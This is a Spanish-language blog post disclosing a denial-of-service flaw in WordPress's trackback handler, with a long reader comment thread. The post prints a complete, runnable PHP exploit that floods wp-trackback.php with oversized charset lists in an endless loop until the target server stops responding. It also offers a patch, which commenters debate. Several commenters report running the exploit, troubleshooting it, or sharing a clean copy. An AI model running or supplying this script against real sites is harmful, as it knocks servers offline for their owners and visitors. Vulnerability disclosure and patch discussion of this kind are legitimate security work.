Agujero de seguridad muy grave en WordPress

Cada vez mas y mas gente entiende y conoce los típicos errores de seguridad que se cometen al programar páginas web dinámicas, incluso existen esfuerzos y proyectos por catalogar este tipo de errores, como si de una enciclopedia de seguridad se tratase.

Sin embargo, este es un enfoque poco realista del problema, la seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores, no trata sobre lo que debes y lo que no debes hacer. Trata exclusivamente de buscarle la vuelta a todo, de preguntarse si aquello que ves, es solo como lo ves, o puede mirarse desde otro punto de vista. A menudo la seguridad informática trata sobre preguntarse si el código que vemos hace sólo lo que dice que hace, o puede hacer algo mas.

Pese a que esta entrada trata sobre un agujero de seguridad que he encontrado en wordpress, y que afecta a todas las versiones, incluida la última, he querido empezar aclarando todo esto, para poder explicar por que todavía no existe parche para el bug, o por que wordpress no se toma en serio estos problemas.

Hace 6 días, descargué el código de wordpress de la página oficial, lo agregue como proyecto a mi IDE, y empecé a leer el código, al cabo de poco rato, abrí el fichero wp-trackbacks.php, y me di cuenta de que existía un error muy grave en el, tanto que permitiría a un usuario cualquiera de internet, dejar completamente caído cualquier servidor que aloje wordpress, en tan solo 5 minutos y con unas 20 y pico peticiones únicamente. El error consiste en realizar una petición que a wordpress le resulte tan compleja de procesar, que invierta muchísima memoria y CPU en ella, tanta que cuando le llegue la siguiente petición, y la siguiente y la siguiente, llegue un momento que se colapse, y no sea capaz de atender nada mas. Esto acaba provocando que el servidor completo deje de responder, y el resto de visitantes, no puedan ver la páginas.

Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.

Podríamos decir que cualquier chico en internet, podría tener el blog mas grande de toda la red, con 2 clicks, hacer que deje de funcionar indefinidamente.

Sin embargo, tras comunicar el error a security@wordpress.org, no obtuve respuesta. Al cabo de 3 o 4 días sin respuesta, reenvié el correo a m@wordpress.org (el creador de wordpress) y al cabo de 2 días mas, me contestaron diciéndome que lo arreglarían, aunque no iban a utilizar el arreglo que yo había sugerido si no otro, y que no sabían muy bien cuando lo arreglarían, vaya, como si todo esto fuese una tontería y no importase que millones de wordpress puedan ser tirados por cualquiera haciendo 3 clicks. Y no solo el wordpress, sino el servidor entero que lo hospeda.

Tras esto, empecé a estar molesto, me di cuenta de que si esto fuese un SQL Injection de libro, ya habría parche, pero que para ellos esto es un bug de segunda. Sin embargo lo gracioso es que la solución alternativa que ellos me han propuesto en el correo, es incorrecta, y wordpress seguiría siendo vulnerable incluso después de actualizar (sea cuando sea que pongan disponible la actualización).

Por ello, en este post, aparte de explicar el bug ,y dar un código de ejemplo para explotarlo, voy a explicar su solución, y luego la mía, y por que la suya es incorrecta.

El problema está, como ya he dicho en wp-trackbacks.php, donde hay el siguiente código:

if ( function_exists(‘mb_convert_encoding’) ) { // For international trackbacks
$title     = mb_convert_encoding($title, get_option(‘blog_charset’), $charset);
$excerpt   = mb_convert_encoding($excerpt, get_option(‘blog_charset’), $charset);
$blog_name = mb_convert_encoding($blog_name, get_option(‘blog_charset’), $charset);
}

Y $charset viene a través de $_POST['charset'], igual que el resto, todas vienen de $_POST, enviadas por el usuario, y no existe ningún tipo de control de longitud sobre ellas. El problema reside en mb_convert_encoding, que es una función que convierte una cadena de texto de un charset dado, a otro, no solo acepta convertir del charset X al charset Y, sino que permite especificar una lista de charset separados por coma, en el charset de origen, y si recibe una lista, probará hasta encontrar el charset correcto, ejemplo:

$text = mb_convert_encoding($text,’UTF-8′,’UTF-7,ISO-8859-1′);

Esa línea convertiría la variable $text a UTF-8 probando primero si está inicialmente en UTF-7 o en ISO-8859-1.Sin embargo, algo curioso de mb_convert_encoding, es que si ejecutamos algo así:

$text = mb_convert_encoding($text,’UTF-8′,’ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1′);

mb_convert_encoding intentará detectar el charset de $text, y primero comprobará si es ISO-8859-1, luego volverá a comprobarlo, y luego otra vez, y otra mas. Y tantas, como veces lo pongamos en la lista. Esto no sería un problema si no fuese por que el mecanismo para determinar el charset de una cadena unicode (multibyte) es realmente costoso para el sistema.

Por lo que si en $charset (mediante $_POST) le enviamos una cadena con 350k de UTF-8 separados por comas, y en $title por ejemplo, le enviamos una cadena de 350k de largo, hará comprobaciones sobre 350k^2 caracteres, lo cual requiere realmente mucho tiempo (minutos). Minutos durante los cuales el servidores está casi casi saturado, y eso sumado a que podemos repetir la petición X veces, hasta que tiene que hacer 350k^2*X, lo cual le acaba resultando casi imposible, o muy largo, y el resto de servicios y las peticiones legítimas a la web dejan de funcionar, por que no quedan recursos.

El código del exploit está hecho php, y se ejecuta desde el terminal así: php exploit.php http://urldelblog.com, y es el que sigue:

<?php
//wordpress Resource exhaustion Exploit
//http://rooibo.wordpress.com/
//security@wordpress.org contacted and get a response,
//but no solution available.
if(count($argv) < 2) {
echo “You need to specify a url to attack\n”;
exit;
}

$url = $argv[1];

$data = parse_url($url);
if(count($data) < 2) {
echo “The url should have http:// in front of it, and should be complete.\n”;
exit;
}

if(count($data) == 2) {
$path = ”;
} else {
$path = $data['path'];
}
$path = trim($path,’/’);
$path .= ‘/wp-trackback.php';
if($path{0} != ‘/’) {
$path = ‘/’.$path;
}

$b = “”;
$b = str_pad($b,140000,’ABCEDFG’);
$b = utf8_encode($b);
$charset = “”;
$charset = str_pad($charset,140000,”UTF-8,”);

$str = ‘charset=’.urlencode($charset);
$str .= ‘&url=www.example.com';
$str .= ‘&title=’.$b;
$str .= ‘&blog_name=lol';
$str .= ‘&excerpt=lol';

$count = 0;
while(1) {
$fp = @fsockopen($data['host'],80);
if(!$fp) {
if($count > 0) {
echo “down!!!!\n”;
exit;
}
echo “unable to connect to: “.$data['host'].”\n”;
exit;
}

fputs($fp, “POST $path HTTP/1.1\r\n”);
fputs($fp, “Host: “.$data['host'].”\r\n”);
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
fputs($fp, “Connection: close\r\n\r\n”);
fputs($fp, $str.”\r\n\r\n”);

echo “hit!\n”;
$count++;
}

?>

Para solucionar el problema y no ser vulnerables, es tan fácil como editar wp-trackbacks.php y poner un control sobre $_POST['charset']. WordPress me ha sugerido que lo que harán será controlar que no tenga comas, sin embargo, eso es insuficiente, ya que mb_convert_encoding acepta arrays como argumento, en lugar de listas separadas por comas, y se pueden pasar arrays mediante $_POST usando [] en las variables. La solución pasar por eliminar cualquier coma de $_POST['charset'] y comprobar que no sea un array, con !is_array.

Dicho de otra forma, abrir wp-trackbacks.php, buscar la línea:

$charset = $_POST['charset'];

Y cambiarla por:

$charset = str_replace(“,”,””,$_POST['charset']);
if(is_array($charset)) { exit; }

Y se soluciona el problema.

Como decía al principio del post, entiendo que en wordpress no se han tomado esto muy en serio, como anteriores problemas que encontré, por lo que he decidido que es mejor hacerlo público y que la gente lo solucione, que esperar a ver cuanta gente mas ha encontrado ya este error, y no lo está aprovechando, ya que a wordpress parece no importarle demasiado. No se si me estoy equivocando o no, pero me siento impotente de no poder hacer nada para que este error sea corregido ya, y solo puedo hacer dos cosas, o callármelo, y desear que nadie mas encuentre el error, o divulgarlo, junto a su solución y que esto se arregle.

Actualización: he revisado wp-trackbacks.php y desactivar los trackbacks no soluciona nada, ya que esto sucede ANTES de esa comprobación, la única solución es la que se explica en el post, modificar esa línea de wp-trackbacks.php.

About these ads

149 Responses to “Agujero de seguridad muy grave en WordPress”


  1. 1 alberto octubre 17, 2009 en 5:33 pm

    Creo que exageras un poco cuando generalizas a cualquier wordpress existente, ya que tiene que ver más con el donde está montado.
    Puede que afecte a blogs wordpress montados en hostings baratos carentes de opciones avanzadas de configuracion, pero a wordpress.com por ejemplo no le afecta.
    Igualmente en un servidor dedicado es posible configurar el aspecto de carga a nivel del servidor http usado.
    Si tengo un rato posteo concretamente alguna configuracion de apache a la que no le afectaría este problema.

  2. 2 jcarlosn octubre 17, 2009 en 6:11 pm

    Hola Alberto, el bug afecta a cualquier wordpress, ya que provoca que wordpress consuma cpu y memoria de forma indiscriminada, otro tema es que se pueda paliar o reducir el riesgo mediante configuraciones fuera de wordpress.

    Esto es como decir que el agujero que propició el virus blaster no era un agujero propio del windows, que si ponías un firewall en el puerto 135, no te afectaba.

    Evidentemente que si configuras tu servidor para prevenir este tipo de ataques, serás menos susceptible a que te afecte, pero en lo que respecta a wordpress, afecta a todas las versiones.

    Un saludo!

  3. 3 magtec octubre 17, 2009 en 6:25 pm

    Hola, supongo que si tengo los pingbacks y trackbacks deshabilitados esto no me afecta, ¿o si?.

    Gracias

  4. 4 SergioArcos octubre 17, 2009 en 6:51 pm

    Al principio del texto nos comentas “a seguridad informática no trata acerca de aplicar ciertos patrones para intentar encontrar errores” pero si te fijas, ¡CUALQUIER SOFTWARE PHP CON mb_convert_encoding() MAL SANEADO ES VULNERABLE!

    No me digas que no es sencillo hacer un par de greps en todo el codigo fuente… :)

    ¡¡Chapo por el report!!

  5. 5 jcarlosn octubre 17, 2009 en 6:55 pm

    Estoy de acuerdo en lo que dices SergioArcos, el problema reside en que lo que sugieres es equivalente a en lugar de aprender matemáticas, aprender todas las posibles soluciones a todas las posibles formulas del mundo.

    En lugar de intentar catalogar los infinitos posibles errores en una aplicación, es mejor entender por que suceden, y saber localizarlos a simple vista, aunque nadie los catalogue, o sean nuevos.

  6. 6 rcc octubre 17, 2009 en 7:13 pm

    tienes que corregir las comillas en el texto…..
    es:
    str_replace(“,”,””,$_POST['charset']);

    Saludos

  7. 7 rcc octubre 17, 2009 en 7:14 pm

    vaya, a mi tambien me las cambia…

  8. 9 Ximena Eduarda octubre 17, 2009 en 8:25 pm

    Hey, gracias por compartir. Ahora a lograr que otros se enteren ;-)

  9. 10 mar octubre 17, 2009 en 8:40 pm

    muy bueno! a ver si hacen caso los de wordpress.

  10. 11 Jordi Tamargo octubre 17, 2009 en 9:05 pm

    Lo he probado sobre un servidor dedicado propio y doy fe de que lo deja KO.

    Un gran aporte.

    Muchas gracias
    Jordi

  11. 12 Piku Com octubre 17, 2009 en 9:07 pm

    Estoy probando el exploit con mi web para ver si le afecta pero al ejecutarlo salen errores:

    Parse error: syntax error, unexpected T_STRING, expecting ‘,’ or ‘;’ in exploit.php on line 6

  12. 13 jcarlosn octubre 17, 2009 en 9:11 pm

    Hola Piku,

    comprueba que se ha copiado y pegado bien, y que las primeras líneas no se han partido en dos.

    Es típico error de copiar y pegar códigos de páginas web.

  13. 14 Ivan de la Jara octubre 17, 2009 en 9:35 pm

    Pero como se les ocurre usar una variable introducida por el usuario sin filtrar!!!!!!!! O_o!!!!!!!!!!!!!!!!!

  14. 15 JuanCarlos octubre 17, 2009 en 9:38 pm

    Como ya preguntaron mas arriba, desabilitar los trakbacks puede ser una solucion temporal?

  15. 16 jcarlosn octubre 17, 2009 en 9:38 pm

    Ivan de la jara, por que no pensaron que hubiese peligro en pasarla a mb_convert_encoding, ya que no es una consulta SQL, ni es un dato que se vaya a mostrar por pantalla.

    Pero tienes toda la razón, deberían ir con mas cuidado.

  16. 17 Eddie Lopez octubre 17, 2009 en 10:26 pm

    Espero que la gente de WordPress corriga esto para la proxima version…

  17. 18 Montgomery Burns octubre 17, 2009 en 10:39 pm

    El fallo de seguridad de los trakbacks, se soluciona con cremas para almorranas ?

  18. 19 rita octubre 17, 2009 en 11:52 pm

    @alberto espero ansioso tu solucion!

  19. 20 LDK octubre 17, 2009 en 11:57 pm

    Con ese parche me sigue llegando la cpu y la ram al 100%. No logra “tirar” el servidor pero sigue molestando al rendimiento.

  20. 21 H octubre 18, 2009 en 1:13 am

    Eres un total y absoluto irresponsable: como la gente de WordPress no te hace caso y no ve la gravedad del bug, en lugar de insistir hasta que lo hagan se te ocurre la feliz idea de hacer público el exploit para que los script kiddies tumben los unos cuantos blogs. Flipo.

  21. 22 Ivan de la Jara octubre 18, 2009 en 1:17 am

    Es lo que se suele hacer cuando no hacen caso… Aunque no se cuanto tiempo llevara esperando a que le hagan caso… El exploit quizá sobraba o al menos sobraba de forma funcional. Normalmente los exploits se publican con pequeños fallos que solo alguien que programe ese lenguaje sabe solucionar…

  22. 23 H octubre 18, 2009 en 1:22 am

    Claro, como hay tan poca gente que sepa arreglar un par de errores de sintaxis en un script PHP.

  23. 24 shakaran octubre 18, 2009 en 1:34 am

    Yo en tu situación hubiese hecho lo mismo que tú. Me parece totalmente irresponsable y descuidado que tarden dos días en responder un fallo de tal magnitud y es más que no se haya sacado una nueva versión rápidamente.

    Parece ser que los proyectos contra más grandes son, con más orgullo afrentan este tipo de reportes. Personalmente tengo aplicaciones desarrolladas en PHP y otros lenguajes y si me reportaran un fallo así, una vez visto liberaría una versión de corrección inmediatamente.

    Saludos.

  24. 25 Ivan de la Jara octubre 18, 2009 en 1:41 am

    Con poner cualquier cosa que haya que entender el programa para hacer que funcione, como eliminar una linea o ir aun mas lejos y hacer que unas cosas dependan de otras… ya no funciona si no lo entiendes… si lo ofuscas un poco la gente ya no pillan de que va la cosa…

    Es mas, me parece totalmente lógico que no aceptasen su forma de “arreglar” el fallo porque no es un arreglo sino un corte de raíz innecesario… ni siquiera se si realmente haría algo meter un exit ahí… no he visto el código. Lo que si se es que yo lo haría con una expresión regular de filtrado o alguna subcadena cortando hasta la coma… aunque eso tampoco es fiable pero bueno… tampoco soy el que lo tiene que pensar.

    WordPress mueve mucho dinero y depende mucha gente de el para que tarden 4 dias en arreglar un bug de tal magnitud… aunque tambien es comprensible porque cada plugin que se usa estara petao de bugs asi que por tiraar se puede tirar cualquiera…

    Otra cosa que me resulta curiosa es que apeles a los script kiddies que puedan usar el script… cuando el mismo va de juanker por la vida xD cosa que es de script kiddie total y de adolescente que se cree cool cuando es bastante lammer…

  25. 26 Zerial octubre 18, 2009 en 4:07 am

    Hola!

    Yo reporté un bug hace un par de semanas en wordpress (tambien se discutio en la lista de full disclosure) y no obtuve respuesta. Se trata de una vulnerabilidad FullPath Disclosure en la mayoria de los ficheros de wordpress.
    Vere si enviandole un correo a m en wordpress.com obtengo una respuesta mas rapidamente.

    Saludos!

  26. 27 Nombre octubre 18, 2009 en 8:03 am

    Entre esto y el slowloris se avecinan tiempos negros para LAMP y WordPress. Aquí el que no sepa poner a punto su Apache y reprogramar su WP no está a salvo.

  27. 28 jcarlosn octubre 18, 2009 en 8:53 am

    @Ivan de la jara,

    Mi arreglo es completamente válido, no tienen ningún sentido continuar con la ejecución de php si te han pasado un array, es evidente que quieren tirarte el servidor.

    Es como cuando quieres evitar un remote file inclusion, y detectas que te han pasado ‘../’ en el path, ¿que haces? pues un echo y un exit, ¿para que seguir?.

    Puedes cambiar el exit, si quieres, por $charset = ‘auto'; y ya tienes un arreglo mas a tu gusto.

    Adicionalmente, una regexp sobre 350k es bastante negativa para los recursos, sería mucho mejor usar str_replace y strstr o strchr en todo caso; cuidado con las regexp en $_POST no controlados, por que tendríamos el mismo bug, pero de otra manera.

    Un saludo!

  28. 29 Rubén Díaz octubre 18, 2009 en 10:02 am

    A mí me parece bien que lo hayas publicado si en anteriores ocasiones no te han hecho caso. Lo que sí habría hecho yo en vez de publicar el exploit tal cual, le haría provocar errores a propósito para evitar script-kiddies (técnica muy común como ya sabrás).

    Independientemente de eso, muy buena!

  29. 30 Luis Lorenzo octubre 18, 2009 en 10:20 am

    Me parece perfecto que se publiquen este tipo de cosas.

    Si por la vía normal no hacen caso, veremos si cuando la gente empiece a quejarse de que sus servidores se colapsan se lo toman un poco más enserio…

  30. 31 Ricardo Pizarro Iturrieta octubre 18, 2009 en 11:01 am

    Hola, todos ustedes se manejan con el vocabulario de programación pero que pasa con el neófito que tipea con dos dedos como yo, que se lo coman las tortugas, o que los barran, lo único que se yo fuera del Copy Past es un poco de gramática y me en canta escribir lo mio y de otros que son más estudiosos que yo.

    No tengo idea que es BUG nunca e escuchado esa palabra en mi vida, ahora noto que WP no les ponen atención a lo mejor las personas de habla Inglés, traten en el lado gringo de esta plataforma,muy probable que les comentan o reparen de inmediato.

    Si alguien de ustedes (todos los capos) , porfa hagan un Zip para el resto de la comunidad neófita, o los boca abierta como yo.

    En todo caso gracias por este aporte que no lo entendí pero veo la gravedad de la situación

  31. 32 Ivan de la Jara octubre 18, 2009 en 12:35 pm

    @jcarlosn No se puede presuponer que todo lo que se reciba fuera de lo normal tiene una intención maléfica… si recibes .. en un include pues los filtras… y así el programa sigue funcionando aunque reciba por alguna casualidad karmatica del universo algún dato erróneo… aunque ahí te encuentras con resultados inesperados pero supongo que siempre es mejor que recibir un error o que se te bloquee wordpress porque tu navegador envía el charset en uft8 o le pone un ; al final…

    Supongo que si le metes 350kb (que si es por get no se puede) en una variable post sea cual sea, php tiene que procesarla por fuerza y en consecuencia si envías 1mb por post desde varias maquinas ya tienes DDOS… por mucho que quieras hacer si te quieren joder te joden…

    Así que no se si pasarlo por alguna función menos “gastona” que las expresiones regulares (hay alguna que gaste mas que eso?) pues no se si afectaría mucho ya que supongo que el server se tumba por ram mas que por consumo de cpu…

    Me parece muy fuerte que el código de wordpress, que yo tenia en alta estima, tenga fallos tan sumamente increíbles… WordPress siempre me ha parecido un muy buen proyecto pero no sabia que los encargados de programarlo eran tan mataos!

  32. 33 javcasta octubre 18, 2009 en 1:09 pm

    La 2.9 esta en Beta. ¿Esperan a esta versión para corregir el tema?

  33. 34 Iñaki octubre 18, 2009 en 4:15 pm

    Lo he probado con mi blog con y sin parche y no lo tumba. También lo he probado en el servidor web de un ordenador de casa, accediendo desde el otro en la misma LAN, y también con y sin parche, y lo tumba igualmente. Por lo que llego a la conclusión (y por favor, corrígeme si me equivoco) de que si el servidor es suficientemente potente (de RAM y CPU), está bien configurado y no le llegan las peticiones demasiado juntas, resiste con o sin parche. En cambio, en el de casa, que es más bien viejuno, y que le llegan las peticiones desde el otro ordenador con retardo prácticamente cero, se queda colgado en apenas 5 segundos con o sin parche.

  34. 35 Harad octubre 18, 2009 en 4:44 pm

    Sólo una cosa, si $_POST["charset"] resulta ser un array, al pasarlo por el comprobador-de-que-no-hay-comas (strpos sería lo más adecuado, puesto que str_replace es más lento y acepta arrays como argumento), saltará un error puesto que el argumento no es un string como se requiere, así que no haría falta comprobar previamente si no es un array. ¿Me equivoco?

  35. 36 flipi octubre 18, 2009 en 9:55 pm

    en ningún hosting te van a permitir que un php se ejecute más de x segundos ni que consuma más de un cierto porcentaje de CPU por usuario.
    La teoría no está mal, pero la seguridad no pasa solamente por un código completamente seguro.

    • 37 Zerial octubre 18, 2009 en 10:14 pm

      @flipi: Tienes razón, pero al menos en mi pais, muchos servicios de hosting local donde estan alojados muchos wordpress y otros cms, no cuentan con esa caracteristicas.

      Por ejemplo, dreamhost tiene muchas politicas de seguridad pero cuando un usuario esta consumiendo mucho recursos de cpu simplemente le suspenden la cuenta y le “secuestran” la base de datos. De todas formas puedes causar un malestar hacia los encargados de los sitios. Esto te lo digo por experiencia propia.

  36. 38 Ivan de la Jara octubre 18, 2009 en 10:08 pm

    Creo que php viene por defecto con 32mb por script. No hacen falta muchos “32” para tirar un server.. Si es de 1gb con 32 peticiones petaria, si son 2 con 64 peticiones.. Realmente los servers no aguantan casi nada de usuarios online, por eso google pilla mogollon de server pequeños… así evitan todas las limitaciones de disco, ram por proceso, numero de puertos abiertos (creo que son 255) y tal… Supongo que los servicios grandes irán filtrados por firewalls de hardware porque sino no me lo explico…

  37. 40 Javier Aroche octubre 19, 2009 en 1:39 am

    1. La mayoría de hosts limitan el tiempo de ejecución de cualquier script PHP, generalmente a 32 segundos.
    2. Hay scripts para bloquear IPs que hagan más de X conexiones, esto podría ser la salvación para algunos servidores. O al menos evitar que la carga se dispare.
    3. No he probado esto, pero supongo que un thread “atascado” no genera tantos problemas, de alli que la clave sea generar muchos threads. Un dedicado protegido por lo de #2, estaría medio a salvo.

  38. 41 glic3rinu octubre 19, 2009 en 9:06 am

    Pues un servidor apache2 con el modsecurity configurado de serie no és vulnerable a este ataque. Modsecurity bién hace su trabajo:

    [Mon Oct 19 11:03:43 2009] [error] [client xxx.xxx.xxx.171] ModSecurity: Access denied with code 403 (phase 2). Operator GT matched 64000 at ARGS_COMBINED_SIZE. [file "/etc/modsecurity2/modsecurity_crs_23_request_limits.conf"] [line "34"] [id "960341"] [msg "Total arguments size exceeded"] [severity "WARNING"] [hostname "xxxxxxx.org"] [uri "/wp-trackback.php"] [unique_id "Stwrb032s1EAAH@Re@EAAACH"]

  39. 42 Zerial octubre 19, 2009 en 12:07 pm

    Bueno, si el modsecurity frena este ataque y no todos los hosting son vulnerables, aun asi quedan muchos sitios y servidores que si lo son, por lo que no hay que bajarle el perfil a este asunto. Sigue siendo una vulnerabilidad y los desarrolladores de wordpress deben corregirla.

    No porque algunos no les afecta debemos olvidar a quienes si les afecta.

  40. 43 ehooo octubre 19, 2009 en 12:19 pm

    Lo peor de todo es que ni siqiera cumple el standar http://www.sixapart.com/pronet/docs/trackback_spec ya que el valor de charset tendria que venir en el Content-Type y no como parte del post

  41. 44 Zamson octubre 19, 2009 en 2:20 pm

    Muy buen aporte y muy bien explicado, aplicado ya a mi blog y gracias por el aviso.

    Saludos.

  42. 45 Eva Hester octubre 19, 2009 en 8:00 pm

    Un poco fuerte pero a revisar

  43. 46 Emilio octubre 20, 2009 en 7:27 pm

    Hola,

    Sólo quería decirte que el código para protegerse de este ataque no sirve, o al menos no hace lo que debería. Tu haces un str_replace, lo que nunca devolverá un array, por lo que nunca hace el exit, y mb_encode_string recibe un charset de 300K, que probablemente descarte y por eso no se note el efecto. El código que seguro buscas es algo como esto:

    $charset = explode(‘,’,$_POST['charset']);
    if(is_array($charset) && count($charset) > 1) {
    exit;
    }elseif(is_array($charset)){
    $charset=$charset[0];
    }

    Un saludo, y gracias por reportar!

  44. 49 jcarlosn octubre 21, 2009 en 10:06 am

    Hola Emilio, según la documentación de str_replace:

    http://es2.php.net/str_replace

    mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

    fíjate en el mixed que hay a la izquierda de str_replace, eso significa que devuelve tipos de datos variados, y no solo cadenas de texto, fíjate en esto:

    This function returns a string or an array with the replaced values.

    Es evidente que SI puede devolver un array.

    Mucha gente no sabe que str_replace opera con arrays.

    Un saludo!

  45. 50 Alvaro octubre 21, 2009 en 11:52 am

    Tengo una pregunta, desde hace cosa de 2 semanas mi blog en WP se ha caido de forma sistemática y mi proveedor (arsys) me dice que es pos un exceso de peticiones php ya que el límite que tiene mi plan es de “16” (entiendo que simultaneas), ¿es posible que me estén atacando por este bug?

    muchas gracias y estaré atento

  46. 51 Emilio octubre 21, 2009 en 5:33 pm

    jcarlosn, no digo que no pueda trabajar con arrays, sólo digo que si le pasas un string, te devolverá un string. Sólo si pasas un array devolverá un array. Por lo que el fix que está propuesto en el post no serviría. Además, str_replace reemplaza caracteres, lo que tu buscas es algo que separe cadenas en ciertos caracteres (explode).

  47. 52 jcarlosn octubre 21, 2009 en 9:59 pm

    Emilio, lo que yo busco es algo que reemplaze carácteres en cadenas de caracteres, y que si hay un array, se detenga.

    Da igual que hagas:

    $charset = str_replace(”,”,””,$_POST['charset']);
    if(is_array($charset)) { exit; }

    o bien:

    if(is_array($charset)) { exit; }
    charset = str_replace(”,”,””,$_POST['charset']);

    El caso es que se traduca a: si $charset es un array, finaliza el proceso, si no, quítale las comas.

    No se que te montas con explode.

    Un saludo!

  48. 53 Emilio octubre 21, 2009 en 10:35 pm

    Veo que sigues sin entender, lo que pasa es que $charset nunca será un array si no haces explode en las comas :)

    $_POST['charset'] es siempre un string, mande yo “UTF-8″ o “UTF-8,UTF-8,…,UTF-8,UTF-8″ por POST. Entiendes? Al hacer explode por las comas, puedes detectar el segundo caso. Si haces str_replace obtendrías un “super charset” que sería algo como “UTF-8UTF-8UTF-8UTF-8UTF-8UTF-8…UTF-8UTF-8UTF-8″, y no sería array tampoco, por lo que ese super charset sería lo que luego se le pase a la función de conversión de charsets.

  49. 54 jcarlosn octubre 22, 2009 en 3:45 pm

    Emilio, veo que sigues sin entender :)

    El problema reside en que $_POST['charset'] será un array si el usuario pasa variables tal como: charset[] = ‘utf-8′.

    En serio, creo que deberías documentarte mas sobre como funciona php, por ejemplo, si tu haces una consulta tipo:

    script.php?var[]=lol vía get, $_GET['var'] será un array con una casilla, y dentro, tendrá lol.

    ¿En serio no sabías que se pueden pasar arrays vía $_POST y $_GET?

    Increíble.

  50. 55 Emilio octubre 22, 2009 en 4:51 pm

    jcarlosn, mira tu “exploit” de nuevo. No pasas charset[]=UTF-8&charset[]=UTF-8&….&charset[]=UTF-8, sino que charset=UTF-8,UTF-8,…UTF-8, lo que siempre será un string.

    Lo único que se me ocurre es que tu lo hagas como ejercicio para el lector, porque tu te estás contradiciendo, chequeas por un array en el fix, y en el exploit mandas strings, por lo que el fix no arreglaría nada ya que no detectaría nada malo :P

    Un saludo!

    PD: Si, se que puedes pasar arrays, yo decía que $_POST['charset'] es siempre un string para las peticiones de tu exploit tanto como para las normales, por lo que el fix, como dije, no arregla nada :P

  51. 56 eilrax octubre 22, 2009 en 7:58 pm

    y que pasa si decido simplemente eliminar wp-trackback? afectaría de algun modo al fucionamiento del blog?

  52. 57 jcarlosn octubre 22, 2009 en 9:25 pm

    A ver querido Emilio, miratelo bien :)

    1. en mi arreglo lo que hago es comprobar dos cosas, que no sea un array, y que no contenga comas.
    2. mb_convert_encoding acepta tanto arrays como cadenas separadas por comas.

    ¿Lo entiendes ahora?

    No se trata de mi exploit, se trata de que cualquiera puede modificar el exploit y pasar arrays en lugar de comas, ergo, el fix debe solucionar ambas situaciones, tal como hago, primero con el str_replace, para las comas, y luego con el is_array para el array.

    2 posibles ataques, 2 chequeos: mas claro, el agua.

  53. 58 Emilio octubre 22, 2009 en 9:42 pm

    Ahora que dices 2 errores, 2 chequeos, pues ahora si me cierra :P yo pensaba que sólo querías evitar las comas :) Disculpa por no haber entendido :P

    Aunque, podrías haberlo hecho aún más corto:

    if(is_array($charset) || strpos($charset,’,’)!==false) { exit; }

    y te ahorras el str_replace :)

    • 59 Carlos C Soto octubre 27, 2009 en 6:52 pm

      Definitivamente es una solución más elegante y menos costosa la que propone emilio.

      if(is_array($charset) || strpos($charset,’,’)!==false) { exit; }

      En la explicación posterior…

      Da igual que hagas:

      $charset = str_replace(”,”,””,$_POST['charset']);
      if(is_array($charset)) { exit; }

      o bien:

      if(is_array($charset)) { exit; }
      charset = str_replace(”,”,””,$_POST['charset']);

      No es cierto que “da igual”, la ejecución de str_replace con grandes cantidades de información será costosa y la comprobación de que si es un arreglo debe ser antes que el str_replace.

      El uso de strpos en lugar de str_replace se me hace mucho más atinado. No se trata de sanear la entrada (en ese caso se debería hacer una validación de detecciones repetidas y demás). Se trata de detectar un uso inapropiado de la variable (pues siempre se espera que $_POST['charset'] cumpla con ambas condiciones: no arreglo, no comas).

  54. 60 eilrax octubre 22, 2009 en 9:56 pm

    repito “y que pasa si decido simplemente eliminar wp-trackback? afectaría de algun modo al fucionamiento del blog?” solucionaria algo? xd

    saludos

    • 61 Emilio octubre 23, 2009 en 1:11 am

      Por lo que leí la última versión ya tiene el bug solucionado :)

      • 62 eilrax octubre 23, 2009 en 1:31 am

        yo he sufrido continuas caidas de mi servidor y al leer esto crei que a ver encontrado la solucion al problema, en principio edite el fichero luego actualize a la última versión 2.8.5 pero no se soluciono, opte por borrar el archivo en cuestion y de momento se mantiene estable la cosa, por eso la duda.

        Saludos

  55. 63 gabriel noviembre 9, 2009 en 3:11 am

    Me parece muy irresponsable que publiques el exploit para que cualquier persona con nada mejor que hacer se ponga a probarlo en cualquier server.

    Me parece que no es la manera, y que tendrias que comprender que un proyecto de la embergadura de WP deber recibir cientos de estos reportes por dia, y es logico que no puedan dar respuesta inmediata a todos.

    Me parece un poco narcisista de tu parte proceder de esta manera, y que va en contra de la filosofia open source.

    Saludos, y gracias igual por tomarte el trabajo, detectar y tratar de corregir este tipo de errores, por mas que no concuerde con la forma en la que procediste.

    Saludos,
    gabriel

    • 64 Paralipomenos diciembre 15, 2009 en 6:08 pm

      Claro que lo deja KO, rematadamente KO, y además afecta al servidor. Así ha sucedido con el mío, tras actualizar a la última versión de WordPress. Al día siguiente estaba hackeado y los del host tuvieron que cambiarme de servidor. Esta fue la respuesta del servicio técnico:
      >>>>Hola, buenas tardes.
      Tal y como indica, su alojamiento web ha sido hackeado y se han subido un programa web potencialmente peligroso para el funcionamiento del servidor, por lo que hemos suspendido su alojamiento web temporalmente. La administración de los alojamientos web y la integridad del mismo es responsabilidad del cliente.
      Para solventar la incidencia se deberá de eliminar el alojamiento web y crear uno nuevo, ya que desde el momento que hubo la intrusión, el alojamiento web y servidor están comprometidos. Esto implicara que deberá de volver a volcar sus archivos al FTP y configurar de nuevo sus cuentas de correo electrónico.
      Si lo desea, le podemos facilitar el actual contenido del FTP por si quiere recuperar datos, volcándoselo en una carpeta del nuevo alojamiento web.
      Rogamos que nos indique si desea que le facilitemos este backup del FTP para proceder con el eliminado y creación de nuevo.
      Quedamos a su disposición para cualquier información al respecto.
      Atentamente,<<<<

  56. 65 car febrero 16, 2010 en 10:11 pm

    Parse error: syntax error, unexpected ‘:’, expecting ‘,’ or ‘;’ in C:\Documents and Settings\Root_1\bamcompile1.21\exploit.php on line 7

    Este es el error que me tira al compilar el exploit, por cierto lo hago con -Bamcompile 1.21. ¿Alguna idea de lo que puede pasar?

  57. 66 car febrero 17, 2010 en 12:50 am

    Copien el código desde aqui–>http://pastebin.com/f5bdff8f y no les dará el error del típico copy paste, de esta forma podrán compilarlo sin errores.

  58. 67 Policia Informatica marzo 13, 2010 en 8:02 pm

    mmm le fue bien al post que monton de tracback :D

